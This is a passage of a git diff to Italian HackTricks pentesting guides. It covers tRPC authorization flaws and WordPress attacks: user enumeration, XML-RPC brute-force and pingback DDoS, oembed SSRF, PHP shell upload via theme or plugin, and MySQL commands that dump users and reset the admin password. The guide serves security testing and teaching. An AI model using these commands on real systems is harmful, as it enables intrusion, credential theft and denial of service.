PUT, DELETE, PATCH) per scoprire comportamenti inattesi o leak di informazioni. +- **Content-Type Manipulation**: Passa tra diversi content-type (x-www-form-urlencoded, application/xml, application/json) per testare problemi di parsing o vulnerabilità. +- **Advanced Parameter Techniques**: Testa tipi di dato inattesi nei payload JSON o gioca con dati XML per iniezioni XXE. Prova anche parameter pollution e caratteri wildcard per test più ampi. +- **Version Testing**: Le versioni più vecchie delle API potrebbero essere più vulnerabili. Verifica sempre la presenza di più versioni e testale. -### **Strumenti e Risorse per il Pentesting delle API** +### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): Eccellente per scoprire endpoint API. Usalo per scansionare e forzare percorsi e parametri contro le API target. +Gli stack TypeScript moderni usano spesso tRPC con Zod per la validazione degli input. In tRPC, `protectedProcedure` in genere assicura che la request abbia una sessione valida (authentication) ma non implica che il chiamante abbia il ruolo/permessi corretti (authorization). Questo mismatch porta a Broken Function Level Authorization/BOLA se procedure sensibili sono protette solo da `protectedProcedure`. + +- Threat model: Qualsiasi utente autenticato con privilegi ridotti può invocare procedure di livello admin se mancano i controlli di ruolo (es., background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: endpoint `POST /api/trpc/.` che hanno successo per account base quando dovrebbero essere riservati agli admin. Le self-serve signups aumentano drasticamente l'exploitability. +- Typical tRPC route shape (v10+): corpo JSON avvolto in `{"input": {...}}`. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Sfruttamento pratico (black-box) + +1) Registrare un account normale e ottenere una sessione autenticata (cookies/headers). +2) Enumerare background jobs o altre risorse sensibili tramite le procedure “list”/“all”/“status”. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Invocare azioni privilegiate come riavviare un job: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact to assess + +- Corruzione dei dati dovuta a riavvii non idempotenti: Forzare esecuzioni concorrenti di migrations/workers può creare race conditions e stati parziali incoerenti (perdita di dati silenziosa, analytics danneggiati). +- DoS via worker/DB starvation: Il trigger ripetuto di job pesanti può esaurire i pool di worker e le connessioni al database, causando outage a livello di tenant. + +### **Strumenti e risorse per API Pentesting** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): Eccellente per scoprire endpoint API. Usalo per eseguire scan e brute force su percorsi e parametri delle API target. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj è uno strumento da riga di comando progettato per assistere nell'audit dei **file di definizione Swagger/OpenAPI esposti** controllando gli endpoint API associati per autenticazione debole. Fornisce anche modelli di comando per il testing manuale delle vulnerabilità. -- Strumenti aggiuntivi come **automatic-api-attack-tool**, **Astra** e **restler-fuzzer** offrono funzionalità su misura per il testing della sicurezza delle API, che vanno dalla simulazione di attacchi al fuzzing e alla scansione delle vulnerabilità. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): È uno strumento di sicurezza API che esamina la tua API basandosi su un file OAS (lo strumento è scritto in rust). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj è uno strumento da linea di comando progettato per assistere nella verifica di **file di definizione Swagger/OpenAPI esposti** controllando gli endpoint API associati per autenticazione debole. Fornisce anche template di comandi per test di vulnerabilità manuali. +- Altri strumenti come **automatic-api-attack-tool**, **Astra**, e **restler-fuzzer** offrono funzionalità mirate per il testing della sicurezza API, che vanno dalla simulazione di attacchi al fuzzing e alla scansione di vulnerabilità. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): È uno strumento di sicurezza API che esegue l'audit della tua API basandosi su un file OAS (lo strumento è scritto in rust). -### **Risorse per Apprendimento e Pratica** +### **Risorse di apprendimento e pratica** - **OWASP API Security Top 10**: Lettura essenziale per comprendere le vulnerabilità comuni delle API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist**: Un elenco completo per la sicurezza delle API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: Per la ricerca di vulnerabilità API, Logger++ offre filtri utili ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List**: Un elenco curato di potenziali endpoint API per scopi di testing ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **API Security Checklist**: Una checklist completa per mettere in sicurezza le API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: Per cercare vulnerabilità API, Logger++ offre filtri utili ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Una lista curata di potenziali endpoint API per scopi di testing ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Riferimenti - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index c6fecabff..13cbf75a6 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,18 +5,18 @@ ## Informazioni di base - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Themes files can be found in /wp-content/themes/,** quindi se modifichi del php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **access** il file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- In `wp-config.php` puoi trovare la password root del database. -- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- In **wp-config.php** puoi trovare la password root del database. +- Percorsi di login di default da controllare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **File principali di WordPress** - `index.php` - `license.txt` contiene informazioni utili come la versione di WordPress installata. -- `wp-activate.php` è usato per il processo di attivazione via email quando si configura un nuovo sito WordPress. +- `wp-activate.php` viene usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress. - Cartelle di login (possono essere rinominate per nasconderle): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` @@ -24,21 +24,21 @@ - `/wp-login.php` - `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che permette di trasmettere dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - La cartella `wp-content` è la directory principale dove sono memorizzati plugin e theme. -- `wp-content/uploads/` è la directory dove vengono salvati i file caricati sulla piattaforma. -- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, fonts, file JavaScript e widget. -- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili. +- `wp-content/uploads/` è la directory dove vengono conservati i file caricati sulla piattaforma. +- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget. +- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i post type e le tassonomie pubblicamente interrogabili. **Post exploitation** -- Il file `wp-config.php` contiene informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys e salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting. +- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, le chiavi di autenticazione e i salt, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting. ### Permessi utenti -- **Amministratore** -- **Editor**: Pubblica e gestisce i propri e gli altri post -- **Autore**: Pubblica e gestisce i propri post -- **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli -- **Iscritto**: Naviga i post e modifica il proprio profilo +- Amministratore +- Editor: Pubblica e gestisce i propri e gli altrui post +- Author: Pubblica e gestisce i propri post +- Contributor: Scrive e gestisce i propri post ma non può pubblicarli +- Subscriber: Visualizza i post e modifica il proprio profilo ## **Enumerazione passiva** @@ -68,11 +68,11 @@ curl https://victim.com/ | grep 'content="WordPress' ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Ottenere Temi +### Ottenere temi ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Estrazione delle versioni in generale +### Estrarre le versioni in generale ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,15 +81,15 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins and Themes -Probabilmente non riuscirai a trovare tutti i Plugins and Themes possibili. Per scoprirli tutti, dovrai **actively Brute Force a list of Plugins and Themes** (si spera esistano strumenti automatizzati che contengono queste liste). +Probabilmente non riuscirai a trovare tutti i Plugins and Themes disponibili. Per scoprirli tutti, dovrai **eseguire attivamente un Brute Force su una lista di Plugins and Themes** (per nostra fortuna esistono strumenti automatici che contengono queste liste). -### Users +### Utenti -- **ID Brute:** Ottieni utenti validi da un sito WordPress tramite Brute Forcing users IDs: +- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando un Brute Forcing degli ID utente: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **invalido**. +Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **non valido**. - **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti interrogando: ```bash @@ -99,19 +99,19 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzione abilitata**. +Nota che questo endpoint espone solo utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**. -Nota anche che **/wp-json/wp/v2/pages** potrebbe leak indirizzi IP. +Also note that **/wp-json/wp/v2/pages** could leak IP addresses. -- **Login username enumeration**: Quando effettui il login su **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username esiste o meno**. +- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username esiste o meno**. ### XML-RPC -Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) per esempio). +Se `xml-rpc.php` è attivo puoi eseguire un brute-force delle credenziali o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo [usando questo](https://github.com/relarizky/wpxploit) per esempio). -Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta: +Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta: -**Verifica** +**Controlla** ```html system.listMethods @@ -122,7 +122,7 @@ Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa ric **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per brute-force credentials. Se riesci a trovare uno di questi puoi inviare qualcosa del tipo: +**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per eseguire brute-force sulle credentials. Se riesci a trovare uno di essi puoi inviare qualcosa del tipo: ```html wp.getUsersBlogs @@ -132,7 +132,7 @@ Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa ric ``` -La stringa _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide. +Il messaggio _"Incorrect username or password"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -168,18 +168,18 @@ Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà i ``` -Esiste anche un **modo più veloce** per brute-force credentials usando **`system.multicall`** poiché puoi provare più credenziali nella stessa richiesta: +Esiste anche un **modo più veloce** per brute-force delle credenziali usando **`system.multicall`** poiché puoi provare diverse credenziali nella stessa richiesta:
**Bypass 2FA** -Questo metodo è pensato per programmi e non per esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai creds validi ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle creds bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quegli creds bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni che puoi fare tramite il pannello, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\ -Questo può essere usato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una singola **destinazione** (così viene causato un **DDoS** in quella destinazione) oppure puoi usarlo per far eseguire a **Wordpress** lo **scan** di una **internal network** (puoi indicare qualsiasi porta). +Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **accedere** a una **stessa destinazione** (causando così un **DDoS** in quella location) oppure puoi usarlo per far **scansionare** a **Wordpress** una rete interna (puoi indicare qualsiasi porta). ```html pingback.ping @@ -193,7 +193,7 @@ Questo può essere usato per chiedere a **migliaia** di **siti** Wordpress di ** Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta. -Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS. +Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i ### wp-cron.php DoS -Questo file di solito si trova nella root del sito Wordpress: **`/wp-cron.php`**\ -Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\ -Inoltre, di default, il `wp-cron.php` viene chiamato a ogni caricamento di pagina (ogni volta che un client richiede una pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS). +Questo file di solito esiste nella root del sito Wordpress: **`/wp-cron.php`**\ +Quando questo file viene **accessed** viene eseguita una **"heavy"** MySQL **query**, quindi può essere usato da **attackers** per **cause** un **DoS**.\ +Inoltre, di default, `wp-cron.php` viene chiamato ad ogni page load (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS). -Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sull'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi). +Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi). ### /wp-json/oembed/1.0/proxy - SSRF -Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te. +Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il Worpress site potrebbe fare una richiesta verso di te. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Questo strumento verifica se esistono **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli. +Questo strumento verifica se è presente la **methodName: pingback.ping** e il percorso **/wp-json/oembed/1.0/proxy** e, se esistono, prova a exploit-are them. ## Strumenti automatici ```bash @@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Ottenere l'accesso sovrascrivendo un bit -Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva invertire il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP. +Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva flipare 1 bit di qualsiasi file wordpress. Quindi si poteva flipare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare in NOP l'operazione NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Pannello RCE** -**Modifica di un file php del tema in uso (credenziali admin necessarie)** +**Modifica di un php del tema usato (credenziali admin necessarie)** -Aspetto → Theme Editor → 404 Template (a destra) +Aspetto → Editor tema → Template 404 (a destra) -Cambia il contenuto con una php shell: +Modifica il contenuto con una php shell: ![](<../../images/image (384).png>) -Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -265,12 +265,12 @@ use exploit/unix/webapp/wp_admin_shell_upload ``` per ottenere una sessione. -## Plugin RCE +## RCE del plugin -### PHP plugin +### plugin PHP -Potrebbe essere possibile caricare file .php come plugin.\ -Crea il tuo php backdoor usando per esempio: +Potrebbe essere possibile caricare file .php come plugin. +Crea il tuo php backdoor usando ad esempio: ![](<../../images/image (183).png>) @@ -278,48 +278,48 @@ Poi aggiungi un nuovo plugin: ![](<../../images/image (722).png>) -Upload plugin and press Install Now: +Carica il plugin e premi Install Now: ![](<../../images/image (249).png>) -Click on Procced: +Clicca su Procced: ![](<../../images/image (70).png>) -Probabilmente apparentemente non succederà nulla, ma se vai in Media vedrai la tua shell caricata: +Probabilmente apparentemente non farà nulla, ma se vai su Media vedrai la tua shell caricata: ![](<../../images/image (462).png>) -Accedi e vedrai l'URL per eseguire il reverse shell: +Accedendovi vedrai l'URL per eseguire la reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Il processo viene effettuato tramite il WordPress dashboard come segue: +Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e sfruttabile per ottenere una web shell. Il processo viene eseguito tramite la dashboard di WordPress come segue: -1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- Naviga nel WordPress dashboard, poi vai a `Dashboard > Plugins > Upload Plugin`. -- Upload the zip file of the downloaded plugin. -3. **Plugin Activation**: Una volta che il plugin è installato con successo, deve essere attivato tramite il dashboard. +- Vai alla WordPress dashboard, poi vai a `Dashboard > Plugins > Upload Plugin`. +- Carica il file zip del plugin scaricato. +3. **Plugin Activation**: Una volta installato con successo, deve essere attivato tramite la dashboard. 4. **Exploitation**: - Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile. - Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito. - Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress. -Il contenuto include supporti visivi che mostrano i passaggi nel WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la corretta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione. +Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza un'autorizzazione adeguata. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito. -**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**Per passaggi più dettagliati consulta:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## Da XSS a RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per scalare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni vedi [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per Wordpress Versions 6.X.X, 5.X.X and 4.X.X. e consente di:** - _**Privilege Escalation:**_ Crea un utente in WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo custom plugin (backdoor) su WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Modifica un Built-In Plugin in WordPress. -- _**(RCE) Built-In Theme Edit:**_ Modifica un Built-In Theme in WordPress. -- _**(Custom) Custom Exploits:**_ Exploit personalizzati per Third-Party WordPress Plugins/Themes. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) su WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Modifica plugin built-in in WordPress. +- _**(RCE) Built-In Theme Edit:**_ Modifica temi built-in in WordPress. +- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/temi di terze parti di WordPress. ## Post Exploitation @@ -327,7 +327,7 @@ Estrai username e password: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -Cambia la password dell'admin: +Cambia la password dell'amministratore: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` @@ -335,25 +335,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Superficie d'attacco -Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti elencati di seguito e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/). +Sapere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo). +Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite gestori AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un Wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo). Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).** +**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticato).** > [!CAUTION] -> Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione verifica solo che l'utente sia autenticato, di solito non controlla il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni con privilegi elevati. +> Inoltre, se la funzione verifica soltanto l'autorizzazione dell'utente tramite la funzione `wp_verify_nonce`, questa funzione controlla solo che l'utente sia autenticato; di solito non verifica il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni riservate a utenti con privilegi elevati. - **REST API** -È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`: +È anche possibile esporre funzioni di WordPress registrando una REST API usando la funzione `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API. +Il `permission_callback` è una callback a una funzione che verifica se un determinato utente è autorizzato a chiamare il metodo API. -**Se viene usata la funzione integrata `__return_true`, salterà semplicemente il controllo dei permessi utente.** +**Se viene usata la funzione integrata `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.** - **Accesso diretto al file php** -Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente. +Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Alcuni plugin implementano scorciatoie “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente a monte, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore. +Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore. -- Impatto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route. -- Header di esempio: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore). -- Route sfruttata: `POST 